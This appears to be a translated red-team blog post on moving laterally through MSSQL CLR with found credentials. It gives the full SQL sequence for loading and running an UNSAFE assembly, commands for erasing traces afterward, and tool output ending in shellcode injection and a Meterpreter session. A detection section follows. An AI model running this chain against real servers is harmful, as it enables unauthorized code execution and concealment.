使用发现的凭证在环境中横向移动、在时间受限的操作过程中,快速可靠地使用一组新获得的凭据的能力至关重要。这篇博客文章介绍了如何通过MSSQL CLR自动执行横向移动,而无需接触磁盘*或不需要XP_CMDSHELL,以及如何防止和检测到这种情况。
*仍然通过SQL Server进程将DLL临时写入磁盘。
为实现命令执行而对MSSQL服务进行后期开发通常会利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。要使用此技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户或通过BCP写入磁盘的二进制文件,这提供了明显的检测机会。
可以在以下位置找到为此帖子开发的工具(吱吱声):
https://github.com/nccgroup/nccfsas/tree/main/Tools/Squeak
Sensepost先前已在本演示文稿中讨论了将CLR集成用于命令执行,但已实现自动化以提高该技术的速度和可靠性。
SQL Server CLR集成
SQL Server 2005中引入了从MSSQL运行.NET代码的功能,并在后续版本中叠加了各种保护措施,以限制代码可以访问的内容。创建时将权限级别分配给程序集-例如:
代码语言:javascript复制CREATE ASSEMBLY SQLCLRTest
FROM 'C:MyDBAppSQLCLRTest.dll'
WITH PERMISSION_SET = SAFE;
权限集的三个选项是:
- 安全:本质上,这仅将MSSQL数据集公开给代码,并且禁止其他大多数操作
- EXTERNAL_ACCESS:这打开了访问基础服务器上某些资源的潜力,但不应允许直接执行代码
- 不安全:允许使用任何代码
有关SQL CLR的详细Microsoft文档,请访问https://docs.microsoft.com/zh-cn/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration。
可以通过简单地启用CLR来运行满足标记为“ SAFE”的要求的代码,但是要运行“ EXTERNAL_ACCESS”或“ UNSAFE”代码,需要进行一些配置更改以及DBA特权。对于2017年之前和之后的服务器版本,运行“ UNSAFE” CLR所需的初始步骤有所不同。
在SQL Server 2017之前
显示高级选项:
代码语言:javascript复制sp_configure 'show advanced options',1;RECONFIGURE
启用CLR:
代码语言:javascript复制sp_configure 'clr enabled',1;RECONFIGURE;
将将程序集存储在其中的数据库配置为可信的。
代码语言:javascript复制ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY ON;
有趣的是,默认情况下,似乎已向MSDB数据库授予TRUSTWORTHY权限,这可能会否定此要求:
SQL Server 2017及更高版本
对于SQL Server 2017及更高版本,引入了严格的安全性,还必须将其禁用。或者,有一个选项可以根据提供的SHA512散列专门向单个程序集授予UNSAFE权限,而不是将整个数据库标记为受信任。对于SQL Server 2017及更高版本,该过程将如下所示。
显示高级选项:
代码语言:javascript复制sp_configure 'show advanced options',1;RECONFIGURE
启用CLR:
代码语言:javascript复制sp_configure 'clr enabled',1;RECONFIGURE;
将程序集的SHA512哈希添加到受信任程序集列表中:
代码语言:javascript复制sp_add_trusted_assembly @hash= <SHA512 of DLL>;
从这一点出发,对于任何SQL Server版本,程序集的创建和调用都是相同的:
从十六进制字符串创建程序集–可以从十六进制字符串创建程序集的能力意味着无需创建二进制文件并将其写入SQL Server进程可访问的位置:
代码语言:javascript复制CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;
创建一个存储过程以从程序集中运行代码:
代码语言:javascript复制CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;
运行存储过程:
代码语言:javascript复制debugrun
代码运行后,可以删除存储过程和程序集,删除受信任的哈希,并且可以将所有修改的安全设置恢复为正常。下面显示了一个用于实现此目的的SQL查询示例,尽管应注意,这并未考虑安全设置的初始配置是什么:
对于SQL Server 2017及更高版本:
代码语言:javascript复制sp_drop_trusted_assembly @hash=<SHA512 of DLL>
在SQL Server 2017之前:
代码语言:javascript复制ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;
所有版本:
代码语言:javascript复制DROP PROCEDURE debugrun;
DROP ASSEMBLY clrassem;
sp_configure 'clr strict security',1;RECONFIGURE
sp_configure 'show advanced options',0;RECONFIGURE
此时,SQL Server进程正在执行提供给它的任何.NET代码,因此要利用它进行横向移动,只需要构建适当的DLL。作为概念的证明,产生了一个简单的程序集,该程序集对一些shellcode进行XOR并将其注入到生成的进程中。为了简化CLR代码的创建和调用,制作了执行以下操作的GUI应用程序:
- 收集连接字符串数据
- 从原始二进制文件和单字节XOR读取Shellcode字节
- 生成一个MSSQL CLR DLL,该DLL对shellcode进行XOR,产生一个新进程并将shellcode注入其中。
- 计算DLL的SHA512哈希
- 生成带有硬编码参数的单个.NET可执行文件,以通过SQL连接执行DLL –可执行文件执行以下操作:
- 恢复安全设置并删除程序集
- 创建并运行程序集
- 修改安全设置
- 检查并记录现有的安全设置
- 检查DBA权限
- 检查SQL Server版本
- 创建一个SQL连接
以下屏幕快照显示了生成带有连接字符串和CLR程序集的独立可执行文件的过程。
从工作目录中的文件中加载CLR程序集的代码,该文件可以直接打开,也可以在工具中进行编辑。该工具提供了示例代码,但尚未针对避免检测进行优化。
然后可以在没有任何参数的情况下针对目标运行生成的可执行文件:
代码语言:javascript复制C:UsersuserDesktop>latmovemssqloutput.exe
Running with settings:
==========
Server: 192.168.49.150
Port: 55286
Database: msdb
User: dave
==========
Connection Open !
Microsoft SQL Server 2012 - 11.0.2100.60 (Intel X86)
Feb 10 2012 19:13:17
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.2 <X64> (Build 9200: ) (WOW64) (Hypervisor)
Checking for DBA Privs
┌─┐
│1│
└─┘
Got DBA Privs!
Checking whether Advanced Options are already on.
│show advanced options│ 0│ 1│ 0│ 0│
Enabling advanced options
SQL Server is lower than 2017.
Checking CLR status
┌───────────────────────────────────────────────────────────┐
│clr enabled│ 0│ 1│ 1│ 1│
└───────────────────────────────────────────────────────────┘
CLR already enabled
Dropping any existing assemblies and procedures
SQL version is lower than 2017, checking whether trustworthy is enabled on the connected DB:
┌────┐
│True│
└────┘
Creating the assembly
Creating the stored procedure
Running the stored procedure.
Sleeping before cleanup for: 5
Cleanup
=======
Dropping procedure and assembly
Disabling advanced options again
Cleaned up... all done.
运行所需的shellcode,在本例中建立一个Meterpreter会话,尽管显然可以运行任何shellcode:
已针对以下SQL Server版本测试代码:
- Microsoft SQL Server 2019(RTM)– 15.0.2000.5(X64)
- Microsoft SQL Server 2017(RTM)– 14.0.1000.169(X64)
- Microsoft SQL Server 2012 – 11.0.2100.60(Intel X86)
检测与响应
最小化数据库凭据的暴露并将适当的特权管理应用于SQL登录名应减轻使用协议在底层操作系统上执行代码的负担。
失败的话,有使用这种技术检测横向运动的几种机会:
- SQL Server异常登录
- 审核可疑事务,例如“ CREATE ASSEMBLY”,或所需的SQL查询链的其他任何部分。
- 由DLL本身执行的操作。在这种情况下,例如,来自.NET内部的CreateRemoteThread调用可能会触发检测
通过SQL命令调用程序集的过程还会导致将几个具有不同名称的相同文件写入SQL服务帐户的临时目录。下面的Procmon屏幕截图显示了正在创建的文件和正在写入的.NET代码:
通过调整文件权限以防止从C: Windows Temp 目录中删除文件,可以在sqlservr.exe进程删除该文件之前检索该文件的副本可以将其反编译以显示原始代码:
尽管在执行程序集后会迅速删除证据,但这为静态检测恶意内容提供了额外的机会。